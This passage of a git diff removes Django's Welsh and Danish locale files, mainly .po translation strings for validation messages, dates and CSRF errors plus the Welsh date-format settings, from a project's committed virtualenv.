maes hwn." - -msgid "Enter a whole number." -msgstr "Rhowch cyfanrif." - -msgid "Enter a valid date." -msgstr "Rhif ddyddiad dilys." - -msgid "Enter a valid time." -msgstr "Rhowch amser dilys." - -msgid "Enter a valid date/time." -msgstr "Rhowch ddyddiad/amser dilys." - -msgid "Enter a valid duration." -msgstr "" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Ni anfonwyd ffeil. Gwiriwch math yr amgodiad ar y ffurflen." - -msgid "No file was submitted." -msgstr "Ni anfonwyd ffeil." - -msgid "The submitted file is empty." -msgstr "Mae'r ffeil yn wag." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Sicrhewch fod gan enw'r ffeil ar y mwyaf %(max)d nod (mae ganddo %(length)d)." -msgstr[1] "" -"Sicrhewch fod gan enw'r ffeil ar y mwyaf %(max)d nod (mae ganddo %(length)d)." -msgstr[2] "" -"Sicrhewch fod gan enw'r ffeil ar y mwyaf %(max)d nod (mae ganddo %(length)d)." -msgstr[3] "" -"Sicrhewch fod gan enw'r ffeil ar y mwyaf %(max)d nod (mae ganddo %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Nail ai cyflwynwych ffeil neu dewisiwch y blwch gwiriad, ond nid y ddau." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Llwythwch ddelwedd dilys. Doedd y ddelwedd a lwythwyd ddim yn ddelwedd " -"dilys, neu roedd yn ddelwedd llygredig." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Dewiswch ddewisiad dilys. Nid yw %(value)s yn un o'r dewisiadau sydd ar gael." - -msgid "Enter a list of values." -msgstr "Rhowch restr o werthoedd." - -msgid "Enter a complete value." -msgstr "Rhowch werth cyflawn." - -msgid "Enter a valid UUID." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Maes cudd %(name)s) %(error)s" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "Mae data ManagementForm ar goll neu mae rhywun wedi ymyrryd ynddo" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "Cyflwynwch %d neu lai o ffurflenni." -msgstr[1] "Cyflwynwch %d neu lai o ffurflenni." -msgstr[2] "Cyflwynwch %d neu lai o ffurflenni." -msgstr[3] "Cyflwynwch %d neu lai o ffurflenni." - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "Cyflwynwch %d neu fwy o ffurflenni." -msgstr[1] "Cyflwynwch %d neu fwy o ffurflenni." -msgstr[2] "Cyflwynwch %d neu fwy o ffurflenni." -msgstr[3] "Cyflwynwch %d neu fwy o ffurflenni." - -msgid "Order" -msgstr "Trefn" - -msgid "Delete" -msgstr "Dileu" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Cywirwch y data dyblyg ar gyfer %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Cywirwch y data dyblyg ar gyfer %(field)s, sydd yn gorfod bod yn unigryw." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Cywirwch y data dyblyg ar gyfer %(field_name)s sydd yn gorfod bod yn unigryw " -"ar gyfer %(lookup)s yn %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Cywirwch y gwerthoedd dyblyg isod." - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Dewiswch ddewisiad dilys. Nid yw'r dewisiad yn un o'r dewisiadau sydd ar " -"gael." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Clirio" - -msgid "Currently" -msgstr "Ar hyn o bryd" - -msgid "Change" -msgstr "Newid" - -msgid "Unknown" -msgstr "Anhysbys" - -msgid "Yes" -msgstr "Ie" - -msgid "No" -msgstr "Na" - -msgid "Year" -msgstr "" - -msgid "Month" -msgstr "" - -msgid "Day" -msgstr "" - -msgid "yes,no,maybe" -msgstr "ie,na,efallai" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d beit" -msgstr[1] "%(size)d beit" -msgstr[2] "%(size)d beit" -msgstr[3] "%(size)d beit" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "y.h." - -msgid "a.m." -msgstr "y.b." - -msgid "PM" -msgstr "YH" - -msgid "AM" -msgstr "YB" - -msgid "midnight" -msgstr "canol nos" - -msgid "noon" -msgstr "canol dydd" - -msgid "Monday" -msgstr "Dydd Llun" - -msgid "Tuesday" -msgstr "Dydd Mawrth" - -msgid "Wednesday" -msgstr "Dydd Mercher" - -msgid "Thursday" -msgstr "Dydd Iau" - -msgid "Friday" -msgstr "Dydd Gwener" - -msgid "Saturday" -msgstr "Dydd Sadwrn" - -msgid "Sunday" -msgstr "Dydd Sul" - -msgid "Mon" -msgstr "Llu" - -msgid "Tue" -msgstr "Maw" - -msgid "Wed" -msgstr "Mer" - -msgid "Thu" -msgstr "Iau" - -msgid "Fri" -msgstr "Gwe" - -msgid "Sat" -msgstr "Sad" - -msgid "Sun" -msgstr "Sul" - -msgid "January" -msgstr "Ionawr" - -msgid "February" -msgstr "Chwefror" - -msgid "March" -msgstr "Mawrth" - -msgid "April" -msgstr "Ebrill" - -msgid "May" -msgstr "Mai" - -msgid "June" -msgstr "Mehefin" - -msgid "July" -msgstr "Gorffenaf" - -msgid "August" -msgstr "Awst" - -msgid "September" -msgstr "Medi" - -msgid "October" -msgstr "Hydref" - -msgid "November" -msgstr "Tachwedd" - -msgid "December" -msgstr "Rhagfyr" - -msgid "jan" -msgstr "ion" - -msgid "feb" -msgstr "chw" - -msgid "mar" -msgstr "maw" - -msgid "apr" -msgstr "ebr" - -msgid "may" -msgstr "mai" - -msgid "jun" -msgstr "meh" - -msgid "jul" -msgstr "gor" - -msgid "aug" -msgstr "aws" - -msgid "sep" -msgstr "med" - -msgid "oct" -msgstr "hyd" - -msgid "nov" -msgstr "tach" - -msgid "dec" -msgstr "rhag" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Ion." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Chwe." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Mawrth" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Ebrill" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Mai" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Meh." - -msgctxt "abbrev. month" -msgid "July" -msgstr "Gorff." - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Awst" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Medi" - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Hydr." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Tach." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Rhag." - -msgctxt "alt. month" -msgid "January" -msgstr "Ionawr" - -msgctxt "alt. month" -msgid "February" -msgstr "Chwefror" - -msgctxt "alt. month" -msgid "March" -msgstr "Mawrth" - -msgctxt "alt. month" -msgid "April" -msgstr "Ebrill" - -msgctxt "alt. month" -msgid "May" -msgstr "Mai" - -msgctxt "alt. month" -msgid "June" -msgstr "Mehefin" - -msgctxt "alt. month" -msgid "July" -msgstr "Gorffenaf" - -msgctxt "alt. month" -msgid "August" -msgstr "Awst" - -msgctxt "alt. month" -msgid "September" -msgstr "Medi" - -msgctxt "alt. month" -msgid "October" -msgstr "Hydref" - -msgctxt "alt. month" -msgid "November" -msgstr "Tachwedd" - -msgctxt "alt. month" -msgid "December" -msgstr "Rhagfyr" - -msgid "This is not a valid IPv6 address." -msgstr "Nid yw hwn yn gyfeiriad IPv6 dilys." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "neu" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "," - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "%d blwyddyn" -msgstr[1] "%d flynedd" -msgstr[2] "%d blwyddyn" -msgstr[3] "%d blwyddyn" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "%d mis" -msgstr[1] "%d fis" -msgstr[2] "%d mis" -msgstr[3] "%d mis" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "%d wythnos" -msgstr[1] "%d wythnos" -msgstr[2] "%d wythnos" -msgstr[3] "%d wythnos" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "%d diwrnod" -msgstr[1] "%d ddiwrnod" -msgstr[2] "%d diwrnod" -msgstr[3] "%d diwrnod" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "%d awr" -msgstr[1] "%d awr" -msgstr[2] "%d awr" -msgstr[3] "%d awr" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "%d munud" -msgstr[1] "%d funud" -msgstr[2] "%d munud" -msgstr[3] "%d munud" - -msgid "0 minutes" -msgstr "0 munud" - -msgid "Forbidden" -msgstr "Gwaharddedig" - -msgid "CSRF verification failed. Request aborted." -msgstr "Gwirio CSRF wedi methu. Ataliwyd y cais." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Dangosir y neges hwn oherwydd bod angen cwci CSRF ar y safle hwn pan yn " -"anfon ffurflenni. Mae angen y cwci ar gyfer diogelwch er mwyn sicrhau nad " -"oes trydydd parti yn herwgipio eich porwr." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "Mae mwy o wybodaeth ar gael gyda DEBUG=True" - -msgid "No year specified" -msgstr "Dim blwyddyn wedi’i bennu" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "Dim mis wedi’i bennu" - -msgid "No day specified" -msgstr "Dim diwrnod wedi’i bennu" - -msgid "No week specified" -msgstr "Dim wythnos wedi’i bennu" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Dim %(verbose_name_plural)s ar gael" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"%(verbose_name_plural)s i'r dyfodol ddim ar gael oherwydd mae %(class_name)s." -"allow_future yn 'False'. " - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Ni ganfuwyd %(verbose_name)s yn cydweddu â'r ymholiad" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Tudalen annilys (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "Ni ganiateir mynegai cyfeiriaduron yma." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Mynegai %(directory)s" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/cy/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/cy/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/cy/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/cy/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index f174b39f..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/cy/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/cy/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/cy/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index c8dc0afd..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/cy/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/cy/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/cy/formats.py deleted file mode 100644 index eaef6a61..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/cy/formats.py +++ /dev/null @@ -1,33 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j F Y" # '25 Hydref 2006' -TIME_FORMAT = "P" # '2:30 y.b.' -DATETIME_FORMAT = "j F Y, P" # '25 Hydref 2006, 2:30 y.b.' -YEAR_MONTH_FORMAT = "F Y" # 'Hydref 2006' -MONTH_DAY_FORMAT = "j F" # '25 Hydref' -SHORT_DATE_FORMAT = "d/m/Y" # '25/10/2006' -SHORT_DATETIME_FORMAT = "d/m/Y P" # '25/10/2006 2:30 y.b.' -FIRST_DAY_OF_WEEK = 1 # 'Dydd Llun' - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d/%m/%Y", # '25/10/2006' - "%d/%m/%y", # '25/10/06' -] -DATETIME_INPUT_FORMATS = [ - "%Y-%m-%d %H:%M:%S", # '2006-10-25 14:30:59' - "%Y-%m-%d %H:%M:%S.%f", # '2006-10-25 14:30:59.000200' - "%Y-%m-%d %H:%M", # '2006-10-25 14:30' - "%d/%m/%Y %H:%M:%S", # '25/10/2006 14:30:59' - "%d/%m/%Y %H:%M:%S.%f", # '25/10/2006 14:30:59.000200' - "%d/%m/%Y %H:%M", # '25/10/2006 14:30' - "%d/%m/%y %H:%M:%S", # '25/10/06 14:30:59' - "%d/%m/%y %H:%M:%S.%f", # '25/10/06 14:30:59.000200' - "%d/%m/%y %H:%M", # '25/10/06 14:30' -] -DECIMAL_SEPARATOR = "." -THOUSAND_SEPARATOR = "," -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/da/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/da/LC_MESSAGES/django.mo deleted file mode 100644 index 4037a052..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/da/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/da/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/da/LC_MESSAGES/django.po deleted file mode 100644 index 8cfa10ff..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/da/LC_MESSAGES/django.po +++ /dev/null @@ -1,1341 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Christian Joergensen , 2012 -# Danni Randeris , 2014 -# Erik Ramsgaard Wognsen , 2020-2025 -# Erik Ramsgaard Wognsen , 2013-2019 -# Finn Gruwier Larsen, 2011 -# Jannis Leidel , 2011 -# jonaskoelker , 2012 -# Mads Chr. Olesen , 2013 -# valberg , 2015 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Erik Ramsgaard Wognsen , 2020-2025\n" -"Language-Team: Danish (http://app.transifex.com/django/django/language/da/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: da\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "afrikaans" - -msgid "Arabic" -msgstr "arabisk" - -msgid "Algerian Arabic" -msgstr "algerisk arabisk" - -msgid "Asturian" -msgstr "Asturisk" - -msgid "Azerbaijani" -msgstr "azerbaidjansk" - -msgid "Bulgarian" -msgstr "bulgarsk" - -msgid "Belarusian" -msgstr "hviderussisk" - -msgid "Bengali" -msgstr "bengalsk" - -msgid "Breton" -msgstr "bretonsk" - -msgid "Bosnian" -msgstr "bosnisk" - -msgid "Catalan" -msgstr "catalansk" - -msgid "Central Kurdish (Sorani)" -msgstr "Centralkurdisk (Sorani)" - -msgid "Czech" -msgstr "tjekkisk" - -msgid "Welsh" -msgstr "walisisk" - -msgid "Danish" -msgstr "dansk" - -msgid "German" -msgstr "tysk" - -msgid "Lower Sorbian" -msgstr "nedresorbisk" - -msgid "Greek" -msgstr "græsk" - -msgid "English" -msgstr "engelsk" - -msgid "Australian English" -msgstr "australsk engelsk" - -msgid "British English" -msgstr "britisk engelsk" - -msgid "Esperanto" -msgstr "esperanto" - -msgid "Spanish" -msgstr "spansk" - -msgid "Argentinian Spanish" -msgstr "argentinsk spansk" - -msgid "Colombian Spanish" -msgstr "colombiansk spansk" - -msgid "Mexican Spanish" -msgstr "mexikansk spansk" - -msgid "Nicaraguan Spanish" -msgstr "nicaraguansk spansk" - -msgid "Venezuelan Spanish" -msgstr "venezuelansk spansk" - -msgid "Estonian" -msgstr "estisk" - -msgid "Basque" -msgstr "baskisk" - -msgid "Persian" -msgstr "persisk" - -msgid "Finnish" -msgstr "finsk" - -msgid "French" -msgstr "fransk" - -msgid "Frisian" -msgstr "frisisk" - -msgid "Irish" -msgstr "irsk" - -msgid "Scottish Gaelic" -msgstr "skotsk gælisk" - -msgid "Galician" -msgstr "galicisk" - -msgid "Hebrew" -msgstr "hebraisk" - -msgid "Hindi" -msgstr "hindi" - -msgid "Croatian" -msgstr "kroatisk" - -msgid "Upper Sorbian" -msgstr "øvresorbisk" - -msgid "Hungarian" -msgstr "ungarsk" - -msgid "Armenian" -msgstr "armensk" - -msgid "Interlingua" -msgstr "interlingua" - -msgid "Indonesian" -msgstr "indonesisk" - -msgid "Igbo" -msgstr "igbo" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "islandsk" - -msgid "Italian" -msgstr "italiensk" - -msgid "Japanese" -msgstr "japansk" - -msgid "Georgian" -msgstr "georgisk" - -msgid "Kabyle" -msgstr "kabylsk" - -msgid "Kazakh" -msgstr "kasakhisk" - -msgid "Khmer" -msgstr "khmer" - -msgid "Kannada" -msgstr "kannada" - -msgid "Korean" -msgstr "koreansk" - -msgid "Kyrgyz" -msgstr "kirgisisk" - -msgid "Luxembourgish" -msgstr "luxembourgisk" - -msgid "Lithuanian" -msgstr "litauisk" - -msgid "Latvian" -msgstr "lettisk" - -msgid "Macedonian" -msgstr "makedonsk" - -msgid "Malayalam" -msgstr "malayalam" - -msgid "Mongolian" -msgstr "mongolsk" - -msgid "Marathi" -msgstr "marathi" - -msgid "Malay" -msgstr "malajisk" - -msgid "Burmese" -msgstr "burmesisk" - -msgid "Norwegian Bokmål" -msgstr "norsk bokmål" - -msgid "Nepali" -msgstr "nepalesisk" - -msgid "Dutch" -msgstr "hollandsk" - -msgid "Norwegian Nynorsk" -msgstr "norsk nynorsk" - -msgid "Ossetic" -msgstr "ossetisk" - -msgid "Punjabi" -msgstr "punjabi" - -msgid "Polish" -msgstr "polsk" - -msgid "Portuguese" -msgstr "portugisisk" - -msgid "Brazilian Portuguese" -msgstr "brasiliansk portugisisk" - -msgid "Romanian" -msgstr "rumænsk" - -msgid "Russian" -msgstr "russisk" - -msgid "Slovak" -msgstr "slovakisk" - -msgid "Slovenian" -msgstr "slovensk" - -msgid "Albanian" -msgstr "albansk" - -msgid "Serbian" -msgstr "serbisk" - -msgid "Serbian Latin" -msgstr "serbisk (latin)" - -msgid "Swedish" -msgstr "svensk" - -msgid "Swahili" -msgstr "swahili" - -msgid "Tamil" -msgstr "tamil" - -msgid "Telugu" -msgstr "telugu" - -msgid "Tajik" -msgstr "tadsjikisk" - -msgid "Thai" -msgstr "thai" - -msgid "Turkmen" -msgstr "turkmensk" - -msgid "Turkish" -msgstr "tyrkisk" - -msgid "Tatar" -msgstr "tatarisk" - -msgid "Udmurt" -msgstr "udmurtisk" - -msgid "Uyghur" -msgstr "uygurisk" - -msgid "Ukrainian" -msgstr "ukrainsk" - -msgid "Urdu" -msgstr "urdu" - -msgid "Uzbek" -msgstr "usbekisk" - -msgid "Vietnamese" -msgstr "vietnamesisk" - -msgid "Simplified Chinese" -msgstr "forenklet kinesisk" - -msgid "Traditional Chinese" -msgstr "traditionelt kinesisk" - -msgid "Messages" -msgstr "Meddelelser" - -msgid "Site Maps" -msgstr "Site Maps" - -msgid "Static Files" -msgstr "Static Files" - -msgid "Syndication" -msgstr "Syndication" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Det sidetal er ikke et heltal" - -msgid "That page number is less than 1" -msgstr "Det sidetal er mindre end 1" - -msgid "That page contains no results" -msgstr "Den side indeholder ingen resultater" - -msgid "Enter a valid value." -msgstr "Indtast en gyldig værdi." - -msgid "Enter a valid domain name." -msgstr "Indtast et gyldigt domænenavn." - -msgid "Enter a valid URL." -msgstr "Indtast en gyldig URL." - -msgid "Enter a valid integer." -msgstr "Indtast et gyldigt heltal." - -msgid "Enter a valid email address." -msgstr "Indtast en gyldig e-mail-adresse." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Indtast en gyldig “slug” bestående af bogstaver, cifre, understreger eller " -"bindestreger." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Indtast en gyldig “slug” bestående af Unicode-bogstaver, cifre, understreger " -"eller bindestreger." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Indtast en gyldig %(protocol)s-adresse." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 eller IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Indtast kun cifre adskilt af kommaer." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Denne værdi skal være %(limit_value)s (den er %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Denne værdi skal være mindre end eller lig %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Denne værdi skal være større end eller lig %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "Denne værdi skal være et multiplum af trinstørrelse %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Denne værdi skal være et multiplum af trinstørrelse %(limit_value)s, " -"startende fra %(offset)s, fx %(offset)s, %(valid_value1)s, %(valid_value2)s, " -"osv." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Denne værdi skal have mindst %(limit_value)d tegn (den har %(show_value)d)." -msgstr[1] "" -"Denne værdi skal have mindst %(limit_value)d tegn (den har %(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Denne værdi må højst have %(limit_value)d tegn (den har %(show_value)d)." -msgstr[1] "" -"Denne værdi må højst have %(limit_value)d tegn (den har %(show_value)d)." - -msgid "Enter a number." -msgstr "Indtast et tal." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Der må maksimalt være %(max)s ciffer i alt." -msgstr[1] "Der må maksimalt være %(max)s cifre i alt." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Der må maksimalt være %(max)s decimal." -msgstr[1] "Der må maksimalt være %(max)s decimaler." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "Der må maksimalt være %(max)s ciffer før kommaet." -msgstr[1] "Der må maksimalt være %(max)s cifre før kommaet." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Filendelse “%(extension)s” er ikke tilladt. Tilladte filendelser er: " -"%(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Null-tegn er ikke tilladte." - -msgid "and" -msgstr "og" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s med dette %(field_labels)s eksisterer allerede." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Begrænsning “%(name)s” er overtrådt." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Værdien %(value)r er ikke et gyldigt valg." - -msgid "This field cannot be null." -msgstr "Dette felt kan ikke være null." - -msgid "This field cannot be blank." -msgstr "Dette felt kan ikke være tomt." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s med dette %(field_label)s eksisterer allerede." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s skal være unik for %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Felt af type: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "“%(value)s”-værdien skal være enten True eller False." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "“%(value)s”-værdien skal være enten True, False eller None." - -msgid "Boolean (Either True or False)" -msgstr "Boolsk (enten True eller False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Streng (op til %(max_length)s)" - -msgid "String (unlimited)" -msgstr "Streng (ubegrænset)" - -msgid "Comma-separated integers" -msgstr "Kommaseparerede heltal" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"“%(value)s”-værdien har et ugyldigt datoformat. Den skal være i formatet " -"ÅÅÅÅ-MM-DD." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"“%(value)s”-værdien har det korrekte format (ÅÅÅÅ-MM-DD) men er en ugyldig " -"dato." - -msgid "Date (without time)" -msgstr "Dato (uden tid)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"“%(value)s”-værdien har et ugyldigt format. Den skal være i formatet ÅÅÅÅ-MM-" -"DD TT:MM[:ss[.uuuuuu]][TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"“%(value)s”-værdien har det korrekte format (ÅÅÅÅ-MM-DD TT:MM[:ss[.uuuuuu]]" -"[TZ]) men er en ugyldig dato/tid." - -msgid "Date (with time)" -msgstr "Dato (med tid)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "“%(value)s”-værdien skal være et decimaltal." - -msgid "Decimal number" -msgstr "Decimaltal" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"“%(value)s”-værdien har et ugyldigt format. Den skal være i formatet 